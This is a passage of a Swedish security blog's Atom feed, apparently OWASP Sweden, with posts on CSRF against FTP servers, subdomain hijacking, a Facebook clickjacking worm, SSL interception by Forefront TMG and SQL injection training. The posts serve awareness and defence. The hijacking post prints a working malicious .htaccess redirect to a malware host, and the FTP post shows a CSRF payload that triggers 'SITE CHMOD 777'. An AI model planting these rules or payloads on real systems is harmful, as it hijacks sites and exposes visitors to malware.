new';"&gt;/////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////////////////////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////////////////////////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////////////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;/////////////////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////////////////////////////////&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//&lt;/span&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;///////////////&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;//////////////////////SITE%20CHMOD%20777%20valfritt filnamn";&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Om en ftp-adminstratör surfar in på den sidan så ändras behörigheten på filen till 777, dvs fullständiga rättigheter för alla användare.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Hur skydda sig?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;OK, en vanlig CSRF, eller? Nja, vi är ju vana vid att skydda oss mot CSRF i webbapplikationer med hjälp av synkroniserings- eller flödesbiljetter (&lt;i&gt;ViewState&lt;/i&gt;, &lt;i&gt;synchronizer token&lt;/i&gt; eller &lt;i&gt;forced browsing&lt;/i&gt;). Men ftp har inget naturligt sätt att lägga till biljetter mellan anrop.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det &lt;a href="http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/extern.h#rev1.55.8.1"&gt;föreslagna skyddet&lt;/a&gt; är att inte tillåta långa ftp-kommandon.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;[Jag har mejlat Maksymilian Arciemowicz för att fråga om en del detaljer som inte verkar klara. Återkommer om jag får klargörande svar.]&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-75029775240944174?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/75029775240944174/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=75029775240944174' title='2 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/75029775240944174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/75029775240944174'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/csrf-mot-ftp.html' title='CSRF mot FTP'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-9211127541139269213</id><published>2010-05-23T19:03:00.005+02:00</published><updated>2010-05-24T23:33:35.714+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='subdomain hijacking'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><title type='text'>Subdomain hijacking</title><content type='html'>&lt;div&gt;En ny trend skönjas &lt;a href="http://blog.unmaskparasites.com/2010/05/22/malware-on-hijacked-subdomains-new-trend/"&gt;enligt Unmasked Parasites&lt;/a&gt; – "&lt;i&gt;subdomain hijacking"&lt;/i&gt;, med en portion malware på köpet förstås.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Dina domäner är attraktiva&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Låt säga att någon kommer över inloggningsuppgifterna till ditt webbhotell, t ex för att du loggar in på ftp med lösenordet i klartext. Vad ska de då göra? Deface:a ditt fotoalbum? Nej, de studsar trafik via dig för att locka folk till fishing- och malwaresajter! Därför är även &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;minlillakattunge.se&lt;/span&gt; intressant att hacka.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Redirect via &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Ett vanligt sätt att rikta om webbtrafiken på en hackad server är att skapa eller ändra på filen &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt; (Apache). Den filen åsidosätter nämligen webbserverns konfiguration i den katalog den ligger i. Du kan t ex ha lagt flera &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt;-filer i ditt webbträd så här:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/.htaccess&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/www/.htaccess&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/www/owasp/.htaccess&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/www/owasp/blog/.htaccess&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Normalt styr man saker som teckenkodning och sidor som kräver inloggning med hjälp av &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt; och själva webbservern måste ha konfigurerats för att tillåta &lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;AllowOverride All&lt;/span&gt; – tillåt valfri åsidosättning i .htaccess-filer&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;AllowOverride None&lt;/span&gt; – tillåt ingen åsidosättning&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;AllowOverride AuthConfig | FileInfo | Indexes&lt;/span&gt; ... – tillåt specifika ändringar&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;En sak man kan styra i &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt; är Apache-extension:en &lt;a href="http://httpd.apache.org/docs/2.3/mod/mod_rewrite.html"&gt;mod_rewrite&lt;/a&gt; som är en regelmotor för att bygga om URL:er i realtid. Du kommer till en URL och mod_rewrite bygger om den, t ex gör en redirect utifrån parametrar i ditt request.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Attackeraren utnyttjar det stulna kontot till ditt webbhotell och lägger in en &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt; med följande innehåll:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteEngine On&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Den säger att om surfaren kom hit via någon sökmotor (Google, Yahoo ...) så ska han/hon skickas vidare till en annan sajt på IP 87.248.180.90. Och den sajten lurar honom/henne att installera ett "antivirus" eller liknande.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Notera att när du går direkt till din sajt (utan att söka) så kommer allt att se bra ut.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Offret kanske upptäcker redirect:en?&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Nu börjar ju folk få bättre och bättre koll och kanske skulle upptäcka att klicket bland sökträffarna inte tog dem till en trovärdig sajt utan till IP 87.248.180.90. Det är då &lt;i&gt;subdomain hijacking&lt;/i&gt; kommer in i spelet!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det skulle ju vara mycket mer trovärdigt om uppmaningen att installera något kom från en sida under rätt domän.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Attackeraren gör redirect till en stulen subdomän&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Låt säga att attackeraren har kommit över mina inloggningsuppgifter till owasp.se. Istället för att i &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;.htaccess&lt;/span&gt; sätta upp regeln:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;... så konfigurerar han/hon upp en ny subdomän – www2.owasp.se – och sätter upp redirect-regeln:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;RewriteRule .* http://www2.owasp.se/in.html?s=ipw2 [R,L]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;... och publicerar sin malware där.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;De flesta kommer inte upptäcka att de har en extra subdomän uppsatt. Och det är sådana extra, stulna subdomäner som nu har börjat dyka upp på nätet, under namnet &lt;i&gt;subdomain hijacking&lt;/i&gt;. Kanske är det en trend.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-9211127541139269213?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/9211127541139269213/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=9211127541139269213' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9211127541139269213'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9211127541139269213'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/subdomain-hijacking.html' title='Subdomain hijacking'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2422263127939925479</id><published>2010-05-21T16:45:00.004+02:00</published><updated>2010-05-23T19:17:10.812+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='Clickjacking'/><title type='text'>Clickjacking-attack mot Facebook</title><content type='html'>En mask kallad FBHOLE spred sig som en löpeld på Facebook igår och idag. Tydligen använder den sig av &lt;i&gt;clickjacking&lt;/i&gt;. &lt;a href="http://www.f-secure.com/weblog/archives/00001955.html"&gt;F-Secure&lt;/a&gt; beskriver det hela bra.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Någon av dina redan drabbade FB-vänner postar ett meddelande:&lt;/div&gt;&lt;div&gt;&lt;i&gt;"try not to laugh xD http://www.fbhole. com/omg/allow.php?s=a&amp;amp;r=[slumptal]"&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Om du klickar så får du upp en sida som ser ut som Facebook men visar ett fejkat felmeddelande:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.f-secure.com/weblog/archives/fbhole1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://www.f-secure.com/weblog/archives/fbhole1.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Om du klickade någonstans på den sidan så postade du fbhole.com-länken på din Facebook-profil&lt;/b&gt; och masken fortsätter att sprida sig (förutsatt att du är inloggad på FB). fbhole.com fångar ditt klick med en transparent iframe som skickar klicket till Facebook istället.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Domänen registererades igår och pekar på en tjeckisk IP-adress. Sajten ironbrain.net har samma IP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Mikko Hypponen på F-Secure ringde Ironbrain som lät tämligen förvånade. En stund senare var fbhole.com borta från nätet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Vi kommer ha en intressant presentation om &lt;a href="http://www.owasp.org/index.php?title=OWASP_AppSec_Research_2010_-_Stockholm,_Sweden#tab=June_23"&gt;clickjacking på sommarens konferens i Stockholm&lt;/a&gt; (se passet kl 15:30).&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2422263127939925479?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2422263127939925479/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2422263127939925479' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2422263127939925479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2422263127939925479'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/clickjacking-attack-mot-facebook.html' title='Clickjacking-attack mot Facebook'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-992475226572943930</id><published>2010-05-21T15:13:00.005+02:00</published><updated>2010-05-23T19:17:39.422+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='Man in the Middle'/><category scheme='http://www.blogger.com/atom/ns#' term='Forefront'/><title type='text'>Forefront TMG gör MitM på din SSL</title><content type='html'>Ni kanske läste mitt inlägg om hur myndigheter och &lt;a href="http://owaspsweden.blogspot.com/2010/04/overvakning-trots-ssl.html"&gt;säkerhetstjänster kan avlyssna SSL&lt;/a&gt; genom proxies och utfärdande av korrekta SSL-certifikat &lt;i&gt;on the fly&lt;/i&gt;?&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det är precis samma sak som Microsoft Forefront Threat Management Gateway gör.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Microsoft Forefront TMG gör &lt;i&gt;Man-in-the-Middle&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Microsoft beskriver själva sin teknik &lt;a href="http://technet.microsoft.com/en-us/library/ee796230.aspx"&gt;på Technet&lt;/a&gt;:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;"In order to inspect outgoing HTTPS traffic, Forefront TMG breaks the HTTPS connection and then acts as an intermediary or "man in the middle" between the client that initiated the connection and the secure Web site."&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Det går till så här:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Sysadmin på arbetsplatsen ser till att ett så kallat &lt;i&gt;HTTPS inspection certificate&lt;/i&gt; finns installerat i alla klientdatorers &lt;i&gt;Trusted Root Certification Authorities certificate store&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Klienten gör ett anrop till en https-sajt &lt;/li&gt;&lt;li&gt;TMG går in och bryter anropet&lt;/li&gt;&lt;li&gt;TMG sätter upp en egen SSL-koppling till den begärda sajten och kontrollerar det SSL-cert som sajten autentiserar sig med&lt;/li&gt;&lt;li&gt;TMG kopierar webbsajtens SSL-certifikat, skapar ett nytt SSL-certifikat med samma uppgifter, och signerar det med &lt;i&gt;HTTPS inspection certificate&lt;/i&gt;&lt;/li&gt;&lt;li&gt;TMG sätter upp en https-koppling till klienten mha det nya SSL-certifikatet&lt;/li&gt;&lt;li&gt;Klienten accepterar det nya certet som korrekt för den begärda sajten eftersom &lt;i&gt;HTTPS Inspection&lt;/i&gt;-certet finns bland de betrodda CA-certen&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Det är så din arbetsgivare kan spionera på din SSL-trafik.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-992475226572943930?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/992475226572943930/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=992475226572943930' title='3 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/992475226572943930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/992475226572943930'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/forefront-tmg-gor-mitm-pa-din-ssl.html' title='Forefront TMG gör MitM på din SSL'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-941134211285017511</id><published>2010-05-20T16:34:00.005+02:00</published><updated>2010-05-23T19:18:02.907+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Oracle'/><title type='text'>Oracle-kurs om SQL injection</title><content type='html'>Oracle har lagt ut en online-kurs om hur man undviker &lt;i&gt;SQL injection&lt;/i&gt;. Ett bra lästips för alla utvecklare och dba:er med Oracle-databas.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Under kursen förväntas man lära sig ...&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Kategorisera och förklara olika typer av &lt;i&gt;SQL injection&lt;/i&gt;-attacker&lt;/li&gt;&lt;li&gt;Beskriva programmerings- och designstrategier för att undvika &lt;i&gt;SQL injection&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Använda DBMS_ASSERT för indatavalidering&lt;/li&gt;&lt;li&gt;Använda kodgranskningsverktyg för att hitta potentiella &lt;i&gt;SQL injection&lt;/i&gt;-sårbarheter&lt;/li&gt;&lt;li&gt;Nyttja utvecklingspraxis för att undvika &lt;i&gt;SQL injection&lt;/i&gt;-sårbarheter&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Länken: &lt;a href="http://st-curriculum.oracle.com/tutorial/SQLInjection/index.htm"&gt;&lt;i&gt;Defending Against SQL Injection Attacks!&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-941134211285017511?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/941134211285017511/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=941134211285017511' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/941134211285017511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/941134211285017511'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/oracle-kurs-om-sql-injection.html' title='Oracle-kurs om SQL injection'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-3230445384294709064</id><published>2010-05-17T16:54:00.004+02:00</published><updated>2010-05-17T17:18:08.921+02:00</updated><title type='text'>CS lista på säkerhetsexperter deface:ad?</title><content type='html'>Computer Sweden brukar ju lista &lt;a href="http://computersweden.idg.se/2.2683/1.181029/sveriges-skarpaste-sakerhetsexperter"&gt;Sveriges skarpaste säkerhetsexperter&lt;/a&gt; (&lt;b&gt;klicka inte&lt;/b&gt; på sidans länk "Redigera listan själv och lägg till uppgifter på CS Wiki" innan du läst vidare nedan). Senaste listan kom i september 2008 men CS har haft en wiki-sida där alla kan föreslå folk till den nya listan. Den wiki-sidan är inte så fin längre ...&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Wikin hackad?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;När jag klickade in på wikin trodde jag det var kört. – Sh*t, nu är det &lt;i&gt;heap spraying&lt;/i&gt; på gång! tänkte jag. Men sidan såg knasig ut och näthack brukar vara diskretare än så.&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Jag startade om datorn för säkerhets skull och wget:ade sen hem wiki-sidan. Verkar mest som att någon har raderat listan på säkerhetsexperter och lagt dit några skumma dummy-länkar. Kanske finns där något elakt skript men inget som fångade mitt öga. Någon annan som vill utreda 